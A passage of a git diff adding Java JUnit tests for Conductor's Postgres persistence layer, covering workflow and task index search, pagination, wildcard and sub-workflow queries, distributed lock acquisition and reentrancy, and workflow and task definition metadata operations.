testSearchWorkflowSummaryWithSingleQuotes() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-single-quote"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId='%s'", wfs.getWorkflowId()); + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + + indexDAO.removeWorkflow(wfs.getWorkflowId()); + } + + @Test + public void testSearchWorkflowSummaryWithSingleQuotedMultiCondition() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-multi-cond"); + wfs.setCorrelationId("test-correlation-id"); + + indexDAO.indexWorkflow(wfs); + + String query = + String.format( + "correlationId='%s' AND workflowType='%s'", + wfs.getCorrelationId(), wfs.getWorkflowType()); + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + + indexDAO.removeWorkflow(wfs.getWorkflowId()); + } + + @Test + public void testSearchWorkflowSummaryByClassifier() { + String correlationId = "classifier-search-correlation-id"; + + WorkflowSummary agentWfs = getMockWorkflowSummary("workflow-id-classifier-agent"); + agentWfs.setCorrelationId(correlationId); + agentWfs.setClassifier("agent"); + indexDAO.indexWorkflow(agentWfs); + + WorkflowSummary plainWfs = getMockWorkflowSummary("workflow-id-classifier-plain"); + plainWfs.setCorrelationId(correlationId); + plainWfs.setClassifier("workflow"); + indexDAO.indexWorkflow(plainWfs); + + // Simulates a row indexed before the classifier column existed (NULL classifier). + WorkflowSummary legacyWfs = getMockWorkflowSummary("workflow-id-classifier-legacy"); + legacyWfs.setCorrelationId(correlationId); + indexDAO.indexWorkflow(legacyWfs); + + String agentQuery = + String.format("correlationId='%s' AND classifier='agent'", correlationId); + SearchResult agentResults = + indexDAO.searchWorkflowSummary(agentQuery, "*", 0, 15, new ArrayList<>()); + assertEquals("Wrong number of agent results", 1, agentResults.getResults().size()); + assertEquals( + "Wrong workflow returned", + agentWfs.getWorkflowId(), + agentResults.getResults().get(0).getWorkflowId()); + + // The untagged token must match both explicitly tagged plain workflows and legacy + // NULL rows. + String workflowQuery = + String.format("correlationId='%s' AND classifier='workflow'", correlationId); + SearchResult workflowResults = + indexDAO.searchWorkflowSummary(workflowQuery, "*", 0, 15, new ArrayList<>()); + assertEquals("Wrong number of untagged results", 2, workflowResults.getResults().size()); + + String inQuery = + String.format("correlationId='%s' AND classifier IN (agent,other)", correlationId); + SearchResult inResults = + indexDAO.searchWorkflowSummary(inQuery, "*", 0, 15, new ArrayList<>()); + assertEquals("Wrong number of IN clause results", 1, inResults.getResults().size()); + + indexDAO.removeWorkflow(agentWfs.getWorkflowId()); + indexDAO.removeWorkflow(plainWfs.getWorkflowId()); + indexDAO.removeWorkflow(legacyWfs.getWorkflowId()); + } + + @Test + public void testFullTextSearchWorkflowSummary() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id"); + + indexDAO.indexWorkflow(wfs); + + String freeText = "notworkflow-id"; + SearchResult results = + indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList()); + assertEquals("Wrong number of results returned", 0, results.getResults().size()); + + freeText = "workflow-id"; + results = indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void testJsonSearchWorkflowSummary() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-summary"); + wfs.setVersion(3); + + indexDAO.indexWorkflow(wfs); + + String freeText = "{\"correlationId\":\"not-the-id\"}"; + SearchResult results = + indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList()); + assertEquals("Wrong number of results returned", 0, results.getResults().size()); + + freeText = "{\"correlationId\":\"correlation-id\", \"version\":3}"; + results = indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void testSearchWorkflowSummaryPagination() { + for (int i = 0; i < 5; i++) { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-pagination-" + i); + indexDAO.indexWorkflow(wfs); + } + + List orderBy = Arrays.asList(new String[] {"workflowId:DESC"}); + SearchResult results = + indexDAO.searchWorkflowSummary("", "workflow-id-pagination*", 0, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-4", + results.getResults().get(0).getWorkflowId()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-3", + results.getResults().get(1).getWorkflowId()); + results = indexDAO.searchWorkflowSummary("", "workflow-id-pagination*", 2, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-2", + results.getResults().get(0).getWorkflowId()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-1", + results.getResults().get(1).getWorkflowId()); + results = indexDAO.searchWorkflowSummary("", "workflow-id-pagination*", 4, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 1, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-0", + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void testSearchTaskSummary() { + TaskSummary ts = getMockTaskSummary("task-id"); + + indexDAO.indexTask(ts); + + String query = String.format("taskId=\"%s\"", ts.getTaskId()); + SearchResult results = + indexDAO.searchTaskSummary(query, "*", 0, 15, new ArrayList()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong task returned", ts.getTaskId(), results.getResults().get(0).getTaskId()); + } + + @Test + public void testSearchTaskSummaryPagination() { + for (int i = 0; i < 5; i++) { + TaskSummary ts = getMockTaskSummary("task-id-pagination-" + i); + indexDAO.indexTask(ts); + } + + List orderBy = Arrays.asList(new String[] {"taskId:DESC"}); + SearchResult results = + indexDAO.searchTaskSummary("", "task-id-pagination*", 0, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-4", + results.getResults().get(0).getTaskId()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-3", + results.getResults().get(1).getTaskId()); + results = indexDAO.searchTaskSummary("", "task-id-pagination*", 2, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-2", + results.getResults().get(0).getTaskId()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-1", + results.getResults().get(1).getTaskId()); + results = indexDAO.searchTaskSummary("", "task-id-pagination*", 4, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 1, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-0", + results.getResults().get(0).getTaskId()); + } + + @Test + public void testGetTaskExecutionLogs() throws SQLException { + List logs = new ArrayList<>(); + String taskId = UUID.randomUUID().toString(); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845986000L).getTime(), "Log 1")); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845987000L).getTime(), "Log 2")); + + indexDAO.addTaskExecutionLogs(logs); + + List records = indexDAO.getTaskExecutionLogs(logs.get(0).getTaskId()); + assertEquals("Wrong number of logs returned", 2, records.size()); + assertEquals(logs.get(0).getLog(), records.get(0).getLog()); + assertEquals(logs.get(0).getCreatedTime(), 1675845986000L); + assertEquals(logs.get(1).getLog(), records.get(1).getLog()); + assertEquals(logs.get(1).getCreatedTime(), 1675845987000L); + } + + @Test + public void testRemoveWorkflow() throws SQLException { + String workflowId = UUID.randomUUID().toString(); + WorkflowSummary wfs = getMockWorkflowSummary(workflowId); + indexDAO.indexWorkflow(wfs); + + List> workflow_records = + queryDb("SELECT * FROM workflow_index WHERE workflow_id = '" + workflowId + "'"); + assertEquals("Workflow index record was not created", 1, workflow_records.size()); + + indexDAO.removeWorkflow(workflowId); + + workflow_records = + queryDb("SELECT * FROM workflow_index WHERE workflow_id = '" + workflowId + "'"); + assertEquals("Workflow index record was not deleted", 0, workflow_records.size()); + } + + @Test + public void testRemoveTask() throws SQLException { + String workflowId = UUID.randomUUID().toString(); + + String taskId = UUID.randomUUID().toString(); + TaskSummary ts = getMockTaskSummary(taskId); + indexDAO.indexTask(ts); + + List logs = new ArrayList<>(); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845986000L).getTime(), "Log 1")); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845987000L).getTime(), "Log 2")); + indexDAO.addTaskExecutionLogs(logs); + + List> task_records = + queryDb("SELECT * FROM task_index WHERE task_id = '" + taskId + "'"); + assertEquals("Task index record was not created", 1, task_records.size()); + + List> log_records = + queryDb("SELECT * FROM task_execution_logs WHERE task_id = '" + taskId + "'"); + assertEquals("Task execution logs were not created", 2, log_records.size()); + + indexDAO.removeTask(workflowId, taskId); + + task_records = queryDb("SELECT * FROM task_index WHERE task_id = '" + taskId + "'"); + assertEquals("Task index record was not deleted", 0, task_records.size()); + + log_records = queryDb("SELECT * FROM task_execution_logs WHERE task_id = '" + taskId + "'"); + assertEquals("Task execution logs were not deleted", 0, log_records.size()); + } + + private WorkflowSummary getMockWorkflowSummary(String id, String parentWorkflowId) { + WorkflowSummary wfs = getMockWorkflowSummary(id); + wfs.setParentWorkflowId(parentWorkflowId); + return wfs; + } + + @Test + public void testWildcardSearchWorkflowSummaryByType() { + WorkflowSummary wfs1 = getMockWorkflowSummary("wf-wildcard-1"); + wfs1.setWorkflowType("wc_order_proc_v1"); + indexDAO.indexWorkflow(wfs1); + + WorkflowSummary wfs2 = getMockWorkflowSummary("wf-wildcard-2"); + wfs2.setWorkflowType("wc_order_proc_v2"); + indexDAO.indexWorkflow(wfs2); + + WorkflowSummary wfs3 = getMockWorkflowSummary("wf-wildcard-3"); + wfs3.setWorkflowType("wc_payment_proc_v1"); + indexDAO.indexWorkflow(wfs3); + + // Prefix wildcard: should match wfs1 and wfs2 + String query = "workflowType=wc_order_proc*"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 2 wc_order_proc workflows", 2, results.getResults().size()); + + // Contains wildcard: should match all 3 + query = "workflowType=wc_*_proc*"; + results = indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 3 processing workflows", 3, results.getResults().size()); + } + + @Test + public void testWildcardSearchNoMatches() { + WorkflowSummary wfs = getMockWorkflowSummary("wf-wildcard-nomatch"); + wfs.setWorkflowType("nomatch_order_type_v1"); + indexDAO.indexWorkflow(wfs); + + String query = "workflowType=nomatch_zzz*"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 0 workflows", 0, results.getResults().size()); + } + + @Test + public void testSearchExcludeSubWorkflows() { + WorkflowSummary topLevel1 = getMockWorkflowSummary("wf-top-1", ""); + topLevel1.setWorkflowType("subwf_test_type"); + indexDAO.indexWorkflow(topLevel1); + + WorkflowSummary topLevel2 = getMockWorkflowSummary("wf-top-2", ""); + topLevel2.setWorkflowType("subwf_test_type"); + indexDAO.indexWorkflow(topLevel2); + + WorkflowSummary subWf1 = getMockWorkflowSummary("wf-sub-1", "wf-top-1"); + subWf1.setWorkflowType("subwf_test_type"); + indexDAO.indexWorkflow(subWf1); + + WorkflowSummary subWf2 = getMockWorkflowSummary("wf-sub-2", "wf-top-1"); + subWf2.setWorkflowType("subwf_test_type"); + indexDAO.indexWorkflow(subWf2); + + // Search for top-level only, scoped to our unique type + String query = "parentWorkflowId=\"\" AND workflowType=subwf_test_type"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find only 2 top-level workflows", 2, results.getResults().size()); + } + + @Test + public void testSearchSubWorkflowsOfParent() { + WorkflowSummary topLevel = getMockWorkflowSummary("wf-parent-1", ""); + indexDAO.indexWorkflow(topLevel); + + WorkflowSummary subWf1 = getMockWorkflowSummary("wf-child-1", "wf-parent-1"); + indexDAO.indexWorkflow(subWf1); + + WorkflowSummary subWf2 = getMockWorkflowSummary("wf-child-2", "wf-parent-1"); + indexDAO.indexWorkflow(subWf2); + + WorkflowSummary subWf3 = getMockWorkflowSummary("wf-child-3", "wf-parent-other"); + indexDAO.indexWorkflow(subWf3); + + String query = "parentWorkflowId=\"wf-parent-1\""; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 2 child workflows", 2, results.getResults().size()); + } + + @Test + public void testSearchSubWorkflowsWrongParentReturnsEmpty() { + WorkflowSummary subWf1 = getMockWorkflowSummary("wf-orphan-1", "wf-parent-1"); + indexDAO.indexWorkflow(subWf1); + + String query = "parentWorkflowId=\"wf-nonexistent-parent\""; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals( + "Should find 0 workflows for nonexistent parent", 0, results.getResults().size()); + } + + @Test + public void testWildcardWithParentWorkflowIdFilter() { + WorkflowSummary topOrder = getMockWorkflowSummary("wf-combined-1", ""); + topOrder.setWorkflowType("cmb_order_v1"); + indexDAO.indexWorkflow(topOrder); + + WorkflowSummary topPayment = getMockWorkflowSummary("wf-combined-2", ""); + topPayment.setWorkflowType("cmb_payment_v1"); + indexDAO.indexWorkflow(topPayment); + + WorkflowSummary subOrder = getMockWorkflowSummary("wf-combined-3", "wf-combined-1"); + subOrder.setWorkflowType("cmb_order_v1"); + indexDAO.indexWorkflow(subOrder); + + // Only top-level order workflows + String query = "parentWorkflowId=\"\" AND workflowType=cmb_order*"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 1 top-level order workflow", 1, results.getResults().size()); + assertEquals("wf-combined-1", results.getResults().get(0).getWorkflowId()); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresLockDAOTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresLockDAOTest.java new file mode 100644 index 0000000..55b4280 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresLockDAOTest.java @@ -0,0 +1,277 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.PreparedStatement; +import java.sql.SQLException; +import java.time.Instant; +import java.util.UUID; +import java.util.concurrent.*; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.postgres.config.PostgresConfiguration; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@RunWith(SpringRunner.class) +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@TestPropertySource( + properties = { + "conductor.workflow-execution-lock.type=postgres", + "spring.flyway.clean-disabled=false", + "conductor.app.workflow.name-validation.enabled=true" + }) +@SpringBootTest +public class PostgresLockDAOTest { + + @Autowired private PostgresLockDAO postgresLock; + + @Autowired private DataSource dataSource; + + @Autowired private Flyway flyway; + + @Before + public void before() { + flyway.migrate(); // Clean and migrate the database before each test. + } + + @Test + public void testLockAcquisitionAndRelease() throws SQLException { + String lockId = UUID.randomUUID().toString(); + Instant beforeAcquisitionTimeUtc = Instant.now(); + long leaseTime = 2000; + + try (var connection = dataSource.getConnection()) { + assertTrue( + postgresLock.acquireLock(lockId, 500, leaseTime, TimeUnit.MILLISECONDS), + "Lock acquisition failed"); + Instant afterAcquisitionTimeUtc = Instant.now(); + + try (var ps = connection.prepareStatement("SELECT * FROM locks WHERE lock_id = ?")) { + ps.setString(1, lockId); + var rs = ps.executeQuery(); + + if (rs.next()) { + assertEquals(lockId, rs.getString("lock_id")); + long leaseExpirationTime = rs.getTimestamp("lease_expiration").getTime(); + assertTrue( + leaseExpirationTime + >= beforeAcquisitionTimeUtc + .plusMillis(leaseTime) + .toEpochMilli(), + "Lease expiration is too early"); + assertTrue( + leaseExpirationTime + <= afterAcquisitionTimeUtc.plusMillis(leaseTime).toEpochMilli(), + "Lease expiration is too late"); + } else { + Assertions.fail("Lock not found in the database"); + } + } + + postgresLock.releaseLock(lockId); + + try (PreparedStatement ps = + connection.prepareStatement("SELECT * FROM locks WHERE lock_id = ?")) { + ps.setString(1, lockId); + var rs = ps.executeQuery(); + Assertions.assertFalse(rs.next(), "Lock was not released properly"); + } + } + } + + @Test + public void testExpiredLockCanBeAcquiredAgain() { + String lockId = UUID.randomUUID().toString(); + assertTrue( + postgresLock.acquireLock(lockId, 500, 500, TimeUnit.MILLISECONDS), + "First lock acquisition failed"); + + await().atMost(1500, TimeUnit.MILLISECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .until(() -> postgresLock.acquireLock(lockId, 500, 500, TimeUnit.MILLISECONDS)); + + postgresLock.releaseLock(lockId); + } + + @Test + public void testConcurrentLockAcquisition() throws ExecutionException, InterruptedException { + ExecutorService executorService = Executors.newFixedThreadPool(2); + String lockId = UUID.randomUUID().toString(); + + Future future1 = + executorService.submit( + () -> postgresLock.acquireLock(lockId, 2000, TimeUnit.MILLISECONDS)); + Future future2 = + executorService.submit( + () -> postgresLock.acquireLock(lockId, 2000, TimeUnit.MILLISECONDS)); + + assertTrue( + future1.get() + ^ future2.get()); // One of the futures should hold the lock, the other + // should get rejected + + executorService.shutdown(); + executorService.awaitTermination(5, TimeUnit.SECONDS); + + postgresLock.releaseLock(lockId); + } + + @Test + public void testDifferentLockCanBeAcquiredConcurrently() { + String lockId1 = UUID.randomUUID().toString(); + String lockId2 = UUID.randomUUID().toString(); + + assertTrue(postgresLock.acquireLock(lockId1, 2000, 10000, TimeUnit.MILLISECONDS)); + assertTrue(postgresLock.acquireLock(lockId2, 2000, 10000, TimeUnit.MILLISECONDS)); + } + + @Test + public void testReentrantAcquisitionFromSameThread() { + String lockId = UUID.randomUUID().toString(); + try { + assertTrue( + postgresLock.acquireLock(lockId, 500, 60_000, TimeUnit.MILLISECONDS), + "First acquisition should succeed"); + assertTrue( + postgresLock.acquireLock(lockId, 500, 60_000, TimeUnit.MILLISECONDS), + "Reentrant acquisition by the same thread should succeed"); + assertTrue( + postgresLock.acquireLock(lockId, 500, 60_000, TimeUnit.MILLISECONDS), + "Further reentrant acquisitions by the same thread should succeed"); + } finally { + postgresLock.releaseLock(lockId); + postgresLock.releaseLock(lockId); + postgresLock.releaseLock(lockId); + } + } + + @Test + public void testReentrantHoldExcludesOtherThreads() throws Exception { + String lockId = UUID.randomUUID().toString(); + ExecutorService executor = Executors.newSingleThreadExecutor(); + try { + assertTrue( + postgresLock.acquireLock(lockId, 500, 60_000, TimeUnit.MILLISECONDS), + "Outer acquisition should succeed"); + assertTrue( + postgresLock.acquireLock(lockId, 500, 60_000, TimeUnit.MILLISECONDS), + "Reentrant acquisition should succeed"); + + Assertions.assertFalse( + executor.submit( + () -> + postgresLock.acquireLock( + lockId, 500, TimeUnit.MILLISECONDS)) + .get(5, TimeUnit.SECONDS), + "Other threads must not acquire while the lock is held re-entrantly"); + + postgresLock.releaseLock(lockId); + + Assertions.assertFalse( + executor.submit( + () -> + postgresLock.acquireLock( + lockId, 500, TimeUnit.MILLISECONDS)) + .get(5, TimeUnit.SECONDS), + "Other threads must still be excluded until matching releases happen"); + + postgresLock.releaseLock(lockId); + + assertTrue( + executor.submit( + () -> + postgresLock.acquireLock( + lockId, 2000, TimeUnit.MILLISECONDS)) + .get(5, TimeUnit.SECONDS), + "After matching releases, another thread must acquire the lock"); + } finally { + executor.shutdownNow(); + executor.awaitTermination(5, TimeUnit.SECONDS); + postgresLock.releaseLock(lockId); + } + } + + @Test + public void testStaleSelfReleaseRemovesOrphanedRow() throws Exception { + String lockId = UUID.randomUUID().toString(); + assertTrue( + postgresLock.acquireLock(lockId, 500, 500, TimeUnit.MILLISECONDS), + "Initial acquisition should succeed"); + + Thread.sleep(700); + + postgresLock.releaseLock(lockId); + + try (var connection = dataSource.getConnection(); + var ps = connection.prepareStatement("SELECT * FROM locks WHERE lock_id = ?")) { + ps.setString(1, lockId); + var rs = ps.executeQuery(); + Assertions.assertFalse( + rs.next(), + "Orphaned row from expired self-hold must be removed when nobody else acquired it"); + } + } + + @Test + public void testStaleLocalHoldDoesNotDeleteAnotherThreadsLock() throws Exception { + String lockId = UUID.randomUUID().toString(); + ExecutorService executor = Executors.newSingleThreadExecutor(); + try { + assertTrue( + postgresLock.acquireLock(lockId, 500, 500, TimeUnit.MILLISECONDS), + "Initial acquisition should succeed"); + + Thread.sleep(700); + + assertTrue( + executor.submit( + () -> + postgresLock.acquireLock( + lockId, 1000, 5000, TimeUnit.MILLISECONDS)) + .get(5, TimeUnit.SECONDS), + "After lease expiry another thread must acquire the lock"); + + postgresLock.releaseLock(lockId); + + Assertions.assertFalse( + postgresLock.acquireLock(lockId, 500, TimeUnit.MILLISECONDS), + "Stale release from prior holder must not delete the other thread's lock"); + } finally { + executor.shutdownNow(); + executor.awaitTermination(5, TimeUnit.SECONDS); + postgresLock.releaseLock(lockId); + } + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAOTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAOTest.java new file mode 100644 index 0000000..1fabbe4 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAOTest.java @@ -0,0 +1,380 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.UUID; +import java.util.function.Function; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TestName; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.postgres.config.PostgresConfiguration; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertThrows; +import static org.junit.Assert.assertTrue; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=true") +public class PostgresMetadataDAOTest { + + @Autowired private PostgresMetadataDAO metadataDAO; + + @Rule public TestName name = new TestName(); + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.migrate(); + } + + @Test + public void testDuplicateWorkflowDef() { + WorkflowDef def = new WorkflowDef(); + def.setName("testDuplicate"); + def.setVersion(1); + + metadataDAO.createWorkflowDef(def); + + NonTransientException applicationException = + assertThrows(NonTransientException.class, () -> metadataDAO.createWorkflowDef(def)); + assertEquals( + "Workflow with testDuplicate.1 already exists!", applicationException.getMessage()); + } + + @Test + public void testRemoveNotExistingWorkflowDef() { + NonTransientException applicationException = + assertThrows( + NonTransientException.class, + () -> metadataDAO.removeWorkflowDef("test", 1)); + assertEquals( + "No such workflow definition: test version: 1", applicationException.getMessage()); + } + + @Test + public void testWorkflowDefOperations() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + + metadataDAO.createWorkflowDef(def); + + List all = metadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + WorkflowDef found = metadataDAO.getWorkflowDef("test", 1).get(); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + + def.setVersion(3); + metadataDAO.createWorkflowDef(def); + + all = metadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(def.getVersion(), found.getVersion()); + assertEquals(3, found.getVersion()); + + all = metadataDAO.getAllLatest(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(3, all.get(0).getVersion()); + + all = metadataDAO.getAllVersions(def.getName()); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals("test", all.get(1).getName()); + assertEquals(1, all.get(0).getVersion()); + assertEquals(3, all.get(1).getVersion()); + + def.setDescription("updated"); + metadataDAO.updateWorkflowDef(def); + found = metadataDAO.getWorkflowDef(def.getName(), def.getVersion()).get(); + assertEquals(def.getDescription(), found.getDescription()); + + List allnames = metadataDAO.findAll(); + assertNotNull(allnames); + assertEquals(1, allnames.size()); + assertEquals(def.getName(), allnames.get(0)); + + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(3, found.getVersion()); + + metadataDAO.removeWorkflowDef("test", 3); + Optional deleted = metadataDAO.getWorkflowDef("test", 3); + assertFalse(deleted.isPresent()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(2, found.getVersion()); + + metadataDAO.removeWorkflowDef("test", 1); + deleted = metadataDAO.getWorkflowDef("test", 1); + assertFalse(deleted.isPresent()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(2, found.getVersion()); + } + + @Test + public void testTaskDefOperations() { + TaskDef def = new TaskDef("taskA"); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setInputKeys(Arrays.asList("a", "b", "c")); + def.setOutputKeys(Arrays.asList("01", "o2")); + def.setOwnerApp("ownerApp"); + def.setRetryCount(3); + def.setRetryDelaySeconds(100); + def.setRetryLogic(TaskDef.RetryLogic.FIXED); + def.setTimeoutPolicy(TaskDef.TimeoutPolicy.ALERT_ONLY); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + + metadataDAO.createTaskDef(def); + + TaskDef found = metadataDAO.getTaskDef(def.getName()); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + + def.setDescription("updated description"); + metadataDAO.updateTaskDef(def); + found = metadataDAO.getTaskDef(def.getName()); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + assertEquals("updated description", found.getDescription()); + + for (int i = 0; i < 9; i++) { + TaskDef tdf = new TaskDef("taskA" + i); + metadataDAO.createTaskDef(tdf); + } + + List all = metadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(10, all.size()); + Set allnames = all.stream().map(TaskDef::getName).collect(Collectors.toSet()); + assertEquals(10, allnames.size()); + List sorted = allnames.stream().sorted().collect(Collectors.toList()); + assertEquals(def.getName(), sorted.get(0)); + + for (int i = 0; i < 9; i++) { + assertEquals(def.getName() + i, sorted.get(i + 